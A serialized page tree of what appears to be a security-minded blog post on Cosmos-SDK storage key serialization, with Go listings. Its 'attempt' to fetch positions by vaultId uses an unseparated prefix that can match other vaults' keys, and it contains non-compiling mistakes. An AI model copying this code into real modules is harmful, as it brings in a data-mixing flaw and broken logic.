"tag":83,"props":87467,"children":87468},{"style":137},[87469],{"type":29,"value":86440},{"type":24,"tag":83,"props":87471,"children":87472},{"style":107},[87473],{"type":29,"value":989},{"type":24,"tag":83,"props":87475,"children":87476},{"class":85,"line":23248},[87477,87481],{"type":24,"tag":83,"props":87478,"children":87479},{"style":137},[87480],{"type":29,"value":86475},{"type":24,"tag":83,"props":87482,"children":87483},{"style":107},[87484],{"type":29,"value":989},{"type":24,"tag":83,"props":87486,"children":87487},{"class":85,"line":23283},[87488],{"type":24,"tag":83,"props":87489,"children":87490},{"style":107},[87491],{"type":29,"value":23669},{"type":24,"tag":83,"props":87493,"children":87494},{"class":85,"line":23291},[87495],{"type":24,"tag":83,"props":87496,"children":87497},{"style":107},[87498],{"type":29,"value":464},{"type":24,"tag":83,"props":87500,"children":87501},{"class":85,"line":23299},[87502],{"type":24,"tag":83,"props":87503,"children":87504},{"emptyLinePlaceholder":16},[87505],{"type":29,"value":3422},{"type":24,"tag":83,"props":87507,"children":87508},{"class":85,"line":23308},[87509],{"type":24,"tag":83,"props":87510,"children":87511},{"emptyLinePlaceholder":16},[87512],{"type":29,"value":3422},{"type":24,"tag":83,"props":87514,"children":87515},{"class":85,"line":23350},[87516,87520,87524],{"type":24,"tag":83,"props":87517,"children":87518},{"style":90},[87519],{"type":29,"value":76015},{"type":24,"tag":83,"props":87521,"children":87522},{"style":101},[87523],{"type":29,"value":86519},{"type":24,"tag":83,"props":87525,"children":87526},{"style":107},[87527],{"type":29,"value":3208},{"type":24,"tag":83,"props":87529,"children":87530},{"class":85,"line":23383},[87531,87535,87539],{"type":24,"tag":83,"props":87532,"children":87533},{"style":137},[87534],{"type":29,"value":84960},{"type":24,"tag":83,"props":87536,"children":87537},{"style":3163},[87538],{"type":29,"value":76136},{"type":24,"tag":83,"props":87540,"children":87541},{"style":107},[87542],{"type":29,"value":989},{"type":24,"tag":83,"props":87544,"children":87545},{"class":85,"line":23391},[87546,87550,87554,87558,87562,87566],{"type":24,"tag":83,"props":87547,"children":87548},{"style":137},[87549],{"type":29,"value":84972},{"type":24,"tag":83,"props":87551,"children":87552},{"style":107},[87553],{"type":29,"value":568},{"type":24,"tag":83,"props":87555,"children":87556},{"style":137},[87557],{"type":29,"value":86554},{"type":24,"tag":83,"props":87559,"children":87560},{"style":107},[87561],{"type":29,"value":75942},{"type":24,"tag":83,"props":87563,"children":87564},{"style":3163},[87565],{"type":29,"value":84478},{"type":24,"tag":83,"props":87567,"children":87568},{"style":107},[87569],{"type":29,"value":989},{"type":24,"tag":83,"props":87571,"children":87572},{"class":85,"line":23399},[87573,87577,87581,87585,87589],{"type":24,"tag":83,"props":87574,"children":87575},{"style":107},[87576],{"type":29,"value":76097},{"type":24,"tag":83,"props":87578,"children":87579},{"style":137},[87580],{"type":29,"value":71871},{"type":24,"tag":83,"props":87582,"children":87583},{"style":107},[87584],{"type":29,"value":75942},{"type":24,"tag":83,"props":87586,"children":87587},{"style":3163},[87588],{"type":29,"value":84478},{"type":24,"tag":83,"props":87590,"children":87591},{"style":107},[87592],{"type":29,"value":253},{"type":24,"tag":83,"props":87594,"children":87595},{"class":85,"line":23408},[87596,87600,87604,87608],{"type":24,"tag":83,"props":87597,"children":87598},{"style":137},[87599],{"type":29,"value":85574},{"type":24,"tag":83,"props":87601,"children":87602},{"style":143},[87603],{"type":29,"value":76131},{"type":24,"tag":83,"props":87605,"children":87606},{"style":101},[87607],{"type":29,"value":85277},{"type":24,"tag":83,"props":87609,"children":87610},{"style":107},[87611],{"type":29,"value":3208},{"type":24,"tag":83,"props":87613,"children":87614},{"class":85,"line":23484},[87615,87619,87623],{"type":24,"tag":83,"props":87616,"children":87617},{"style":107},[87618],{"type":29,"value":86168},{"type":24,"tag":83,"props":87620,"children":87621},{"style":3163},[87622],{"type":29,"value":84478},{"type":24,"tag":83,"props":87624,"children":87625},{"style":107},[87626],{"type":29,"value":989},{"type":24,"tag":83,"props":87628,"children":87629},{"class":85,"line":23517},[87630,87634,87638,87642,87646,87650,87654,87658],{"type":24,"tag":83,"props":87631,"children":87632},{"style":137},[87633],{"type":29,"value":86184},{"type":24,"tag":83,"props":87635,"children":87636},{"style":107},[87637],{"type":29,"value":161},{"type":24,"tag":83,"props":87639,"children":87640},{"style":101},[87641],{"type":29,"value":85314},{"type":24,"tag":83,"props":87643,"children":87644},{"style":107},[87645],{"type":29,"value":558},{"type":24,"tag":83,"props":87647,"children":87648},{"style":101},[87649],{"type":29,"value":8885},{"type":24,"tag":83,"props":87651,"children":87652},{"style":107},[87653],{"type":29,"value":558},{"type":24,"tag":83,"props":87655,"children":87656},{"style":137},[87657],{"type":29,"value":85184},{"type":24,"tag":83,"props":87659,"children":87660},{"style":107},[87661],{"type":29,"value":85335},{"type":24,"tag":83,"props":87663,"children":87664},{"class":85,"line":23525},[87665],{"type":24,"tag":83,"props":87666,"children":87667},{"style":107},[87668],{"type":29,"value":23669},{"type":24,"tag":83,"props":87670,"children":87671},{"class":85,"line":23533},[87672,87676,87680,87684,87688,87692,87696,87700],{"type":24,"tag":83,"props":87673,"children":87674},{"style":137},[87675],{"type":29,"value":85305},{"type":24,"tag":83,"props":87677,"children":87678},{"style":107},[87679],{"type":29,"value":161},{"type":24,"tag":83,"props":87681,"children":87682},{"style":101},[87683],{"type":29,"value":85359},{"type":24,"tag":83,"props":87685,"children":87686},{"style":107},[87687],{"type":29,"value":558},{"type":24,"tag":83,"props":87689,"children":87690},{"style":137},[87691],{"type":29,"value":85268},{"type":24,"tag":83,"props":87693,"children":87694},{"style":107},[87695],{"type":29,"value":568},{"type":24,"tag":83,"props":87697,"children":87698},{"style":137},[87699],{"type":29,"value":85184},{"type":24,"tag":83,"props":87701,"children":87702},{"style":107},[87703],{"type":29,"value":2905},{"type":24,"tag":83,"props":87705,"children":87706},{"class":85,"line":23570},[87707],{"type":24,"tag":83,"props":87708,"children":87709},{"emptyLinePlaceholder":16},[87710],{"type":29,"value":3422},{"type":24,"tag":83,"props":87712,"children":87713},{"class":85,"line":23583},[87714,87718,87722,87726],{"type":24,"tag":83,"props":87715,"children":87716},{"style":137},[87717],{"type":29,"value":86711},{"type":24,"tag":83,"props":87719,"children":87720},{"style":143},[87721],{"type":29,"value":76131},{"type":24,"tag":83,"props":87723,"children":87724},{"style":101},[87725],{"type":29,"value":85277},{"type":24,"tag":83,"props":87727,"children":87728},{"style":107},[87729],{"type":29,"value":3208},{"type":24,"tag":83,"props":87731,"children":87732},{"class":85,"line":23596},[87733,87737,87741],{"type":24,"tag":83,"props":87734,"children":87735},{"style":107},[87736],{"type":29,"value":86168},{"type":24,"tag":83,"props":87738,"children":87739},{"style":3163},[87740],{"type":29,"value":84478},{"type":24,"tag":83,"props":87742,"children":87743},{"style":107},[87744],{"type":29,"value":989},{"type":24,"tag":83,"props":87746,"children":87747},{"class":85,"line":23609},[87748,87752,87756,87760,87764,87768,87772,87776],{"type":24,"tag":83,"props":87749,"children":87750},{"style":137},[87751],{"type":29,"value":86184},{"type":24,"tag":83,"props":87753,"children":87754},{"style":107},[87755],{"type":29,"value":161},{"type":24,"tag":83,"props":87757,"children":87758},{"style":101},[87759],{"type":29,"value":85314},{"type":24,"tag":83,"props":87761,"children":87762},{"style":107},[87763],{"type":29,"value":558},{"type":24,"tag":83,"props":87765,"children":87766},{"style":101},[87767],{"type":29,"value":8885},{"type":24,"tag":83,"props":87769,"children":87770},{"style":107},[87771],{"type":29,"value":558},{"type":24,"tag":83,"props":87773,"children":87774},{"style":137},[87775],{"type":29,"value":86554},{"type":24,"tag":83,"props":87777,"children":87778},{"style":107},[87779],{"type":29,"value":85335},{"type":24,"tag":83,"props":87781,"children":87782},{"class":85,"line":23663},[87783],{"type":24,"tag":83,"props":87784,"children":87785},{"style":107},[87786],{"type":29,"value":23669},{"type":24,"tag":83,"props":87788,"children":87789},{"class":85,"line":23672},[87790,87794,87798,87802,87806,87810,87814,87818],{"type":24,"tag":83,"props":87791,"children":87792},{"style":137},[87793],{"type":29,"value":85305},{"type":24,"tag":83,"props":87795,"children":87796},{"style":107},[87797],{"type":29,"value":161},{"type":24,"tag":83,"props":87799,"children":87800},{"style":101},[87801],{"type":29,"value":85359},{"type":24,"tag":83,"props":87803,"children":87804},{"style":107},[87805],{"type":29,"value":558},{"type":24,"tag":83,"props":87807,"children":87808},{"style":137},[87809],{"type":29,"value":86804},{"type":24,"tag":83,"props":87811,"children":87812},{"style":107},[87813],{"type":29,"value":568},{"type":24,"tag":83,"props":87815,"children":87816},{"style":137},[87817],{"type":29,"value":86554},{"type":24,"tag":83,"props":87819,"children":87820},{"style":107},[87821],{"type":29,"value":2905},{"type":24,"tag":83,"props":87823,"children":87824},{"class":85,"line":32019},[87825],{"type":24,"tag":83,"props":87826,"children":87827},{"emptyLinePlaceholder":16},[87828],{"type":29,"value":3422},{"type":24,"tag":83,"props":87830,"children":87831},{"class":85,"line":32040},[87832,87836,87840,87844,87848,87852],{"type":24,"tag":83,"props":87833,"children":87834},{"style":137},[87835],{"type":29,"value":86388},{"type":24,"tag":83,"props":87837,"children":87838},{"style":143},[87839],{"type":29,"value":76131},{"type":24,"tag":83,"props":87841,"children":87842},{"style":137},[87843],{"type":29,"value":81948},{"type":24,"tag":83,"props":87845,"children":87846},{"style":107},[87847],{"type":29,"value":161},{"type":24,"tag":83,"props":87849,"children":87850},{"style":101},[87851],{"type":29,"value":84936},{"type":24,"tag":83,"props":87853,"children":87854},{"style":107},[87855],{"type":29,"value":3208},{"type":24,"tag":83,"props":87857,"children":87858},{"class":85,"line":80665},[87859,87863],{"type":24,"tag":83,"props":87860,"children":87861},{"style":187},[87862],{"type":29,"value":87413},{"type":24,"tag":83,"props":87864,"children":87865},{"style":107},[87866],{"type":29,"value":989},{"type":24,"tag":83,"props":87868,"children":87869},{"class":85,"line":80678},[87870,87875],{"type":24,"tag":83,"props":87871,"children":87872},{"style":137},[87873],{"type":29,"value":87874},"        AddressMapPrefix",{"type":24,"tag":83,"props":87876,"children":87877},{"style":107},[87878],{"type":29,"value":989},{"type":24,"tag":83,"props":87880,"children":87881},{"class":85,"line":80686},[87882,87886],{"type":24,"tag":83,"props":87883,"children":87884},{"style":137},[87885],{"type":29,"value":86428},{"type":24,"tag":83,"props":87887,"children":87888},{"style":107},[87889],{"type":29,"value":989},{"type":24,"tag":83,"props":87891,"children":87892},{"class":85,"line":80694},[87893,87897],{"type":24,"tag":83,"props":87894,"children":87895},{"style":137},[87896],{"type":29,"value":86440},{"type":24,"tag":83,"props":87898,"children":87899},{"style":107},[87900],{"type":29,"value":989},{"type":24,"tag":83,"props":87902,"children":87903},{"class":85,"line":80702},[87904,87908],{"type":24,"tag":83,"props":87905,"children":87906},{"style":137},[87907],{"type":29,"value":86452},{"type":24,"tag":83,"props":87909,"children":87910},{"style":107},[87911],{"type":29,"value":989},{"type":24,"tag":83,"props":87913,"children":87914},{"class":85,"line":80742},[87915,87919],{"type":24,"tag":83,"props":87916,"children":87917},{"style":137},[87918],{"type":29,"value":86440},{"type":24,"tag":83,"props":87920,"children":87921},{"style":107},[87922],{"type":29,"value":989},{"type":24,"tag":83,"props":87924,"children":87925},{"class":85,"line":80750},[87926,87930],{"type":24,"tag":83,"props":87927,"children":87928},{"style":137},[87929],{"type":29,"value":86913},{"type":24,"tag":83,"props":87931,"children":87932},{"style":107},[87933],{"type":29,"value":989},{"type":24,"tag":83,"props":87935,"children":87937},{"class":85,"line":87936},60,[87938],{"type":24,"tag":83,"props":87939,"children":87940},{"style":107},[87941],{"type":29,"value":23669},{"type":24,"tag":83,"props":87943,"children":87945},{"class":85,"line":87944},61,[87946],{"type":24,"tag":83,"props":87947,"children":87948},{"style":107},[87949],{"type":29,"value":464},{"type":24,"tag":25,"props":87951,"children":87952},{},[87953],{"type":29,"value":87954},"We now have a proper example of how to serialize storage keys.",{"type":24,"tag":25,"props":87956,"children":87957},{},[87958,87960,87965],{"type":29,"value":87959},"Nonetheless, there is more to storage than just this. As previously mentioned, storages are expected to support their original functionalities. In the case of ",{"type":24,"tag":32,"props":87961,"children":87963},{"className":87962},[],[87964],{"type":29,"value":66817},{"type":29,"value":87966},", data should still be retrievable through original keys.",{"type":24,"tag":25,"props":87968,"children":87969},{},[87970,87972,87978,87980,87985],{"type":29,"value":87971},"Let's look at a case where we want to retrieve all ",{"type":24,"tag":32,"props":87973,"children":87975},{"className":87974},[],[87976],{"type":29,"value":87977},"map[Username]map[PositionName]Position",{"type":29,"value":87979}," associated with a ",{"type":24,"tag":32,"props":87981,"children":87983},{"className":87982},[],[87984],{"type":29,"value":84848},{"type":29,"value":87986}," from the storage. How can we safely accomplish this?",{"type":24,"tag":25,"props":87988,"children":87989},{},[87990,87992,87997,87999,88005],{"type":29,"value":87991},"Fortunately, the Cosmos-SDK provides APIs to fetch all entries associated with a ",{"type":24,"tag":32,"props":87993,"children":87995},{"className":87994},[],[87996],{"type":29,"value":84919},{"type":29,"value":87998}," prefix. Below is an example of an attempt to fetch data with ",{"type":24,"tag":32,"props":88000,"children":88002},{"className":88001},[],[88003],{"type":29,"value":88004},"vaultId",{"type":29,"value":195},{"type":24,"tag":73,"props":88007,"children":88009},{"code":88008,"language":75879,"meta":7,"className":75880,"style":7},"func FetchPositionMapWithVaultId(\n    vaultId uint64,\n) ([]map[Username]map[PositionName]Position) {\n    values := map[Username]map[PositionName]Position{}\n    i := sdk.KVStorePrefixIterator(\n        kvStore,\n        fmt.Sprintf(\"%s%d\", PositionMapPrefix, vaultId)\n    )\n    for ; i.Valid(); i.Next() {\n        k := strings.split(i.Key(), Seperator)\n\n        username := make([]byte, hex.DecodedLen(k[0]))\n        _, err := hex.Decode(username, k[0])\n        if err != nil {\n            return nil, err\n        }\n\n        positionName := make([]byte, hex.DecodedLen(k[1]))\n        _, err := hex.Decode(positionName, k[1])\n        if err != nil {\n            return nil, err\n        }\n\n        if entry, ok := values[username]; !ok {\n            values[username] = make(map[PositionName])\n        }\n\n        values[username][positionName] = Position {\n            data: iterator.Value(),\n        }\n    }\n    return values\n}\n",[88010],{"type":24,"tag":32,"props":88011,"children":88012},{"__ignoreMap":7},[88013,88029,88044,88093,88145,88174,88186,88232,88239,88285,88340,88347,88411,88472,88495,88514,88521,88528,88588,88647,88670,88689,88696,88703,88756,88804,88811,88818,88858,88887,88894,88901,88913],{"type":24,"tag":83,"props":88014,"children":88015},{"class":85,"line":86},[88016,88020,88025],{"type":24,"tag":83,"props":88017,"children":88018},{"style":90},[88019],{"type":29,"value":76015},{"type":24,"tag":83,"props":88021,"children":88022},{"style":101},[88023],{"type":29,"value":88024}," FetchPositionMapWithVaultId",{"type":24,"tag":83,"props":88026,"children":88027},{"style":107},[88028],{"type":29,"value":3208},{"type":24,"tag":83,"props":88030,"children":88031},{"class":85,"line":113},[88032,88036,88040],{"type":24,"tag":83,"props":88033,"children":88034},{"style":137},[88035],{"type":29,"value":84960},{"type":24,"tag":83,"props":88037,"children":88038},{"style":3163},[88039],{"type":29,"value":76136},{"type":24,"tag":83,"props":88041,"children":88042},{"style":107},[88043],{"type":29,"value":989},{"type":24,"tag":83,"props":88045,"children":88046},{"class":85,"line":128},[88047,88052,88056,88060,88064,88068,88072,88076,88080,88084,88089],{"type":24,"tag":83,"props":88048,"children":88049},{"style":107},[88050],{"type":29,"value":88051},") ([]",{"type":24,"tag":83,"props":88053,"children":88054},{"style":90},[88055],{"type":29,"value":66817},{"type":24,"tag":83,"props":88057,"children":88058},{"style":107},[88059],{"type":29,"value":1161},{"type":24,"tag":83,"props":88061,"children":88062},{"style":3163},[88063],{"type":29,"value":84865},{"type":24,"tag":83,"props":88065,"children":88066},{"style":107},[88067],{"type":29,"value":15151},{"type":24,"tag":83,"props":88069,"children":88070},{"style":90},[88071],{"type":29,"value":66817},{"type":24,"tag":83,"props":88073,"children":88074},{"style":107},[88075],{"type":29,"value":1161},{"type":24,"tag":83,"props":88077,"children":88078},{"style":3163},[88079],{"type":29,"value":84882},{"type":24,"tag":83,"props":88081,"children":88082},{"style":107},[88083],{"type":29,"value":15151},{"type":24,"tag":83,"props":88085,"children":88086},{"style":3163},[88087],{"type":29,"value":88088},"Position",{"type":24,"tag":83,"props":88090,"children":88091},{"style":107},[88092],{"type":29,"value":253},{"type":24,"tag":83,"props":88094,"children":88095},{"class":85,"line":183},[88096,88101,88105,88109,88113,88117,88121,88125,88129,88133,88137,88141],{"type":24,"tag":83,"props":88097,"children":88098},{"style":137},[88099],{"type":29,"value":88100},"    values",{"type":24,"tag":83,"props":88102,"children":88103},{"style":143},[88104],{"type":29,"value":76131},{"type":24,"tag":83,"props":88106,"children":88107},{"style":90},[88108],{"type":29,"value":49385},{"type":24,"tag":83,"props":88110,"children":88111},{"style":107},[88112],{"type":29,"value":1161},{"type":24,"tag":83,"props":88114,"children":88115},{"style":3163},[88116],{"type":29,"value":84865},{"type":24,"tag":83,"props":88118,"children":88119},{"style":107},[88120],{"type":29,"value":15151},{"type":24,"tag":83,"props":88122,"children":88123},{"style":90},[88124],{"type":29,"value":66817},{"type":24,"tag":83,"props":88126,"children":88127},{"style":107},[88128],{"type":29,"value":1161},{"type":24,"tag":83,"props":88130,"children":88131},{"style":3163},[88132],{"type":29,"value":84882},{"type":24,"tag":83,"props":88134,"children":88135},{"style":107},[88136],{"type":29,"value":15151},{"type":24,"tag":83,"props":88138,"children":88139},{"style":3163},[88140],{"type":29,"value":88088},{"type":24,"tag":83,"props":88142,"children":88143},{"style":107},[88144],{"type":29,"value":77812},{"type":24,"tag":83,"props":88146,"children":88147},{"class":85,"line":203},[88148,88153,88157,88161,88165,88170],{"type":24,"tag":83,"props":88149,"children":88150},{"style":137},[88151],{"type":29,"value":88152},"    i",{"type":24,"tag":83,"props":88154,"children":88155},{"style":143},[88156],{"type":29,"value":76131},{"type":24,"tag":83,"props":88158,"children":88159},{"style":137},[88160],{"type":29,"value":78355},{"type":24,"tag":83,"props":88162,"children":88163},{"style":107},[88164],{"type":29,"value":161},{"type":24,"tag":83,"props":88166,"children":88167},{"style":101},[88168],{"type":29,"value":88169},"KVStorePrefixIterator",{"type":24,"tag":83,"props":88171,"children":88172},{"style":107},[88173],{"type":29,"value":3208},{"type":24,"tag":83,"props":88175,"children":88176},{"class":85,"line":212},[88177,88182],{"type":24,"tag":83,"props":88178,"children":88179},{"style":137},[88180],{"type":29,"value":88181},"        kvStore",{"type":24,"tag":83,"props":88183,"children":88184},{"style":107},[88185],{"type":29,"value":989},{"type":24,"tag":83,"props":88187,"children":88188},{"class":85,"line":256},[88189,88194,88198,88202,88206,88211,88215,88220,88224,88228],{"type":24,"tag":83,"props":88190,"children":88191},{"style":137},[88192],{"type":29,"value":88193},"        fmt",{"type":24,"tag":83,"props":88195,"children":88196},{"style":107},[88197],{"type":29,"value":161},{"type":24,"tag":83,"props":88199,"children":88200},{"style":101},[88201],{"type":29,"value":84936},{"type":24,"tag":83,"props":88203,"children":88204},{"style":107},[88205],{"type":29,"value":558},{"type":24,"tag":83,"props":88207,"children":88208},{"style":187},[88209],{"type":29,"value":88210},"\"%s%d\"",{"type":24,"tag":83,"props":88212,"children":88213},{"style":107},[88214],{"type":29,"value":568},{"type":24,"tag":83,"props":88216,"children":88217},{"style":137},[88218],{"type":29,"value":88219},"PositionMapPrefix",{"type":24,"tag":83,"props":88221,"children":88222},{"style":107},[88223],{"type":29,"value":568},{"type":24,"tag":83,"props":88225,"children":88226},{"style":137},[88227],{"type":29,"value":88004},{"type":24,"tag":83,"props":88229,"children":88230},{"style":107},[88231],{"type":29,"value":2905},{"type":24,"tag":83,"props":88233,"children":88234},{"class":85,"line":270},[88235],{"type":24,"tag":83,"props":88236,"children":88237},{"style":107},[88238],{"type":29,"value":23669},{"type":24,"tag":83,"props":88240,"children":88241},{"class":85,"line":302},[88242,88246,88251,88255,88259,88264,88268,88272,88276,88281],{"type":24,"tag":83,"props":88243,"children":88244},{"style":117},[88245],{"type":29,"value":2777},{"type":24,"tag":83,"props":88247,"children":88248},{"style":107},[88249],{"type":29,"value":88250}," ; ",{"type":24,"tag":83,"props":88252,"children":88253},{"style":137},[88254],{"type":29,"value":3482},{"type":24,"tag":83,"props":88256,"children":88257},{"style":107},[88258],{"type":29,"value":161},{"type":24,"tag":83,"props":88260,"children":88261},{"style":101},[88262],{"type":29,"value":88263},"Valid",{"type":24,"tag":83,"props":88265,"children":88266},{"style":107},[88267],{"type":29,"value":28198},{"type":24,"tag":83,"props":88269,"children":88270},{"style":137},[88271],{"type":29,"value":3482},{"type":24,"tag":83,"props":88273,"children":88274},{"style":107},[88275],{"type":29,"value":161},{"type":24,"tag":83,"props":88277,"children":88278},{"style":101},[88279],{"type":29,"value":88280},"Next",{"type":24,"tag":83,"props":88282,"children":88283},{"style":107},[88284],{"type":29,"value":110},{"type":24,"tag":83,"props":88286,"children":88287},{"class":85,"line":324},[88288,88293,88297,88302,88306,88310,88314,88318,88322,88327,88331,88336],{"type":24,"tag":83,"props":88289,"children":88290},{"style":137},[88291],{"type":29,"value":88292},"        k",{"type":24,"tag":83,"props":88294,"children":88295},{"style":143},[88296],{"type":29,"value":76131},{"type":24,"tag":83,"props":88298,"children":88299},{"style":137},[88300],{"type":29,"value":88301}," strings",{"type":24,"tag":83,"props":88303,"children":88304},{"style":107},[88305],{"type":29,"value":161},{"type":24,"tag":83,"props":88307,"children":88308},{"style":101},[88309],{"type":29,"value":69757},{"type":24,"tag":83,"props":88311,"children":88312},{"style":107},[88313],{"type":29,"value":558},{"type":24,"tag":83,"props":88315,"children":88316},{"style":137},[88317],{"type":29,"value":3482},{"type":24,"tag":83,"props":88319,"children":88320},{"style":107},[88321],{"type":29,"value":161},{"type":24,"tag":83,"props":88323,"children":88324},{"style":101},[88325],{"type":29,"value":88326},"Key",{"type":24,"tag":83,"props":88328,"children":88329},{"style":107},[88330],{"type":29,"value":18112},{"type":24,"tag":83,"props":88332,"children":88333},{"style":137},[88334],{"type":29,"value":88335},"Seperator",{"type":24,"tag":83,"props":88337,"children":88338},{"style":107},[88339],{"type":29,"value":2905},{"type":24,"tag":83,"props":88341,"children":88342},{"class":85,"line":345},[88343],{"type":24,"tag":83,"props":88344,"children":88345},{"emptyLinePlaceholder":16},[88346],{"type":29,"value":3422},{"type":24,"tag":83,"props":88348,"children":88349},{"class":85,"line":358},[88350,88355,88359,88363,88368,88372,88376,88380,88384,88389,88393,88398,88402,88406],{"type":24,"tag":83,"props":88351,"children":88352},{"style":137},[88353],{"type":29,"value":88354},"        username",{"type":24,"tag":83,"props":88356,"children":88357},{"style":143},[88358],{"type":29,"value":76131},{"type":24,"tag":83,"props":88360,"children":88361},{"style":101},[88362],{"type":29,"value":85277},{"type":24,"tag":83,"props":88364,"children":88365},{"style":107},[88366],{"type":29,"value":88367},"([]",{"type":24,"tag":83,"props":88369,"children":88370},{"style":3163},[88371],{"type":29,"value":84478},{"type":24,"tag":83,"props":88373,"children":88374},{"style":107},[88375],{"type":29,"value":568},{"type":24,"tag":83,"props":88377,"children":88378},{"style":137},[88379],{"type":29,"value":85350},{"type":24,"tag":83,"props":88381,"children":88382},{"style":107},[88383],{"type":29,"value":161},{"type":24,"tag":83,"props":88385,"children":88386},{"style":101},[88387],{"type":29,"value":88388},"DecodedLen",{"type":24,"tag":83,"props":88390,"children":88391},{"style":107},[88392],{"type":29,"value":558},{"type":24,"tag":83,"props":88394,"children":88395},{"style":137},[88396],{"type":29,"value":88397},"k",{"type":24,"tag":83,"props":88399,"children":88400},{"style":107},[88401],{"type":29,"value":1161},{"type":24,"tag":83,"props":88403,"children":88404},{"style":245},[88405],{"type":29,"value":1166},{"type":24,"tag":83,"props":88407,"children":88408},{"style":107},[88409],{"type":29,"value":88410},"]))\n",{"type":24,"tag":83,"props":88412,"children":88413},{"class":85,"line":367},[88414,88418,88422,88426,88430,88435,88439,88444,88448,88452,88456,88460,88464,88468],{"type":24,"tag":83,"props":88415,"children":88416},{"style":137},[88417],{"type":29,"value":27497},{"type":24,"tag":83,"props":88419,"children":88420},{"style":107},[88421],{"type":29,"value":568},{"type":24,"tag":83,"props":88423,"children":88424},{"style":137},[88425],{"type":29,"value":48138},{"type":24,"tag":83,"props":88427,"children":88428},{"style":143},[88429],{"type":29,"value":76131},{"type":24,"tag":83,"props":88431,"children":88432},{"style":137},[88433],{"type":29,"value":88434}," hex",{"type":24,"tag":83,"props":88436,"children":88437},{"style":107},[88438],{"type":29,"value":161},{"type":24,"tag":83,"props":88440,"children":88441},{"style":101},[88442],{"type":29,"value":88443},"Decode",{"type":24,"tag":83,"props":88445,"children":88446},{"style":107},[88447],{"type":29,"value":558},{"type":24,"tag":83,"props":88449,"children":88450},{"style":137},[88451],{"type":29,"value":85184},{"type":24,"tag":83,"props":88453,"children":88454},{"style":107},[88455],{"type":29,"value":568},{"type":24,"tag":83,"props":88457,"children":88458},{"style":137},[88459],{"type":29,"value":88397},{"type":24,"tag":83,"props":88461,"children":88462},{"style":107},[88463],{"type":29,"value":1161},{"type":24,"tag":83,"props":88465,"children":88466},{"style":245},[88467],{"type":29,"value":1166},{"type":24,"tag":83,"props":88469,"children":88470},{"style":107},[88471],{"type":29,"value":55154},{"type":24,"tag":83,"props":88473,"children":88474},{"class":85,"line":406},[88475,88479,88483,88487,88491],{"type":24,"tag":83,"props":88476,"children":88477},{"style":117},[88478],{"type":29,"value":3018},{"type":24,"tag":83,"props":88480,"children":88481},{"style":137},[88482],{"type":29,"value":48239},{"type":24,"tag":83,"props":88484,"children":88485},{"style":143},[88486],{"type":29,"value":290},{"type":24,"tag":83,"props":88488,"children":88489},{"style":90},[88490],{"type":29,"value":81632},{"type":24,"tag":83,"props":88492,"children":88493},{"style":107},[88494],{"type":29,"value":125},{"type":24,"tag":83,"props":88496,"children":88497},{"class":85,"line":427},[88498,88502,88506,88510],{"type":24,"tag":83,"props":88499,"children":88500},{"style":117},[88501],{"type":29,"value":78790},{"type":24,"tag":83,"props":88503,"children":88504},{"style":90},[88505],{"type":29,"value":81632},{"type":24,"tag":83,"props":88507,"children":88508},{"style":107},[88509],{"type":29,"value":568},{"type":24,"tag":83,"props":88511,"children":88512},{"style":137},[88513],{"type":29,"value":83353},{"type":24,"tag":83,"props":88515,"children":88516},{"class":85,"line":440},[88517],{"type":24,"tag":83,"props":88518,"children":88519},{"style":107},[88520],{"type":29,"value":3092},{"type":24,"tag":83,"props":88522,"children":88523},{"class":85,"line":449},[88524],{"type":24,"tag":83,"props":88525,"children":88526},{"emptyLinePlaceholder":16},[88527],{"type":29,"value":3422},{"type":24,"tag":83,"props":88529,"children":88530},{"class":85,"line":458},[88531,88536,88540,88544,88548,88552,88556,88560,88564,88568,88572,88576,88580,88584],{"type":24,"tag":83,"props":88532,"children":88533},{"style":137},[88534],{"type":29,"value":88535},"        positionName",{"type":24,"tag":83,"props":88537,"children":88538},{"style":143},[88539],{"type":29,"value":76131},{"type":24,"tag":83,"props":88541,"children":88542},{"style":101},[88543],{"type":29,"value":85277},{"type":24,"tag":83,"props":88545,"children":88546},{"style":107},[88547],{"type":29,"value":88367},{"type":24,"tag":83,"props":88549,"children":88550},{"style":3163},[88551],{"type":29,"value":84478},{"type":24,"tag":83,"props":88553,"children":88554},{"style":107},[88555],{"type":29,"value":568},{"type":24,"tag":83,"props":88557,"children":88558},{"style":137},[88559],{"type":29,"value":85350},{"type":24,"tag":83,"props":88561,"children":88562},{"style":107},[88563],{"type":29,"value":161},{"type":24,"tag":83,"props":88565,"children":88566},{"style":101},[88567],{"type":29,"value":88388},{"type":24,"tag":83,"props":88569,"children":88570},{"style":107},[88571],{"type":29,"value":558},{"type":24,"tag":83,"props":88573,"children":88574},{"style":137},[88575],{"type":29,"value":88397},{"type":24,"tag":83,"props":88577,"children":88578},{"style":107},[88579],{"type":29,"value":1161},{"type":24,"tag":83,"props":88581,"children":88582},{"style":245},[88583],{"type":29,"value":3756},{"type":24,"tag":83,"props":88585,"children":88586},{"style":107},[88587],{"type":29,"value":88410},{"type":24,"tag":83,"props":88589,"children":88590},{"class":85,"line":1065},[88591,88595,88599,88603,88607,88611,88615,88619,88623,88627,88631,88635,88639,88643],{"type":24,"tag":83,"props":88592,"children":88593},{"style":137},[88594],{"type":29,"value":27497},{"type":24,"tag":83,"props":88596,"children":88597},{"style":107},[88598],{"type":29,"value":568},{"type":24,"tag":83,"props":88600,"children":88601},{"style":137},[88602],{"type":29,"value":48138},{"type":24,"tag":83,"props":88604,"children":88605},{"style":143},[88606],{"type":29,"value":76131},{"type":24,"tag":83,"props":88608,"children":88609},{"style":137},[88610],{"type":29,"value":88434},{"type":24,"tag":83,"props":88612,"children":88613},{"style":107},[88614],{"type":29,"value":161},{"type":24,"tag":83,"props":88616,"children":88617},{"style":101},[88618],{"type":29,"value":88443},{"type":24,"tag":83,"props":88620,"children":88621},{"style":107},[88622],{"type":29,"value":558},{"type":24,"tag":83,"props":88624,"children":88625},{"style":137},[88626],{"type":29,"value":85453},{"type":24,"tag":83,"props":88628,"children":88629},{"style":107},[88630],{"type":29,"value":568},{"type":24,"tag":83,"props":88632,"children":88633},{"style":137},[88634],{"type":29,"value":88397},{"type":24,"tag":83,"props":88636,"children":88637},{"style":107},[88638],{"type":29,"value":1161},{"type":24,"tag":83,"props":88640,"children":88641},{"style":245},[88642],{"type":29,"value":3756},{"type":24,"tag":83,"props":88644,"children":88645},{"style":107},[88646],{"type":29,"value":55154},{"type":24,"tag":83,"props":88648,"children":88649},{"class":85,"line":1668},[88650,88654,88658,88662,88666],{"type":24,"tag":83,"props":88651,"children":88652},{"style":117},[88653],{"type":29,"value":3018},{"type":24,"tag":83,"props":88655,"children":88656},{"style":137},[88657],{"type":29,"value":48239},{"type":24,"tag":83,"props":88659,"children":88660},{"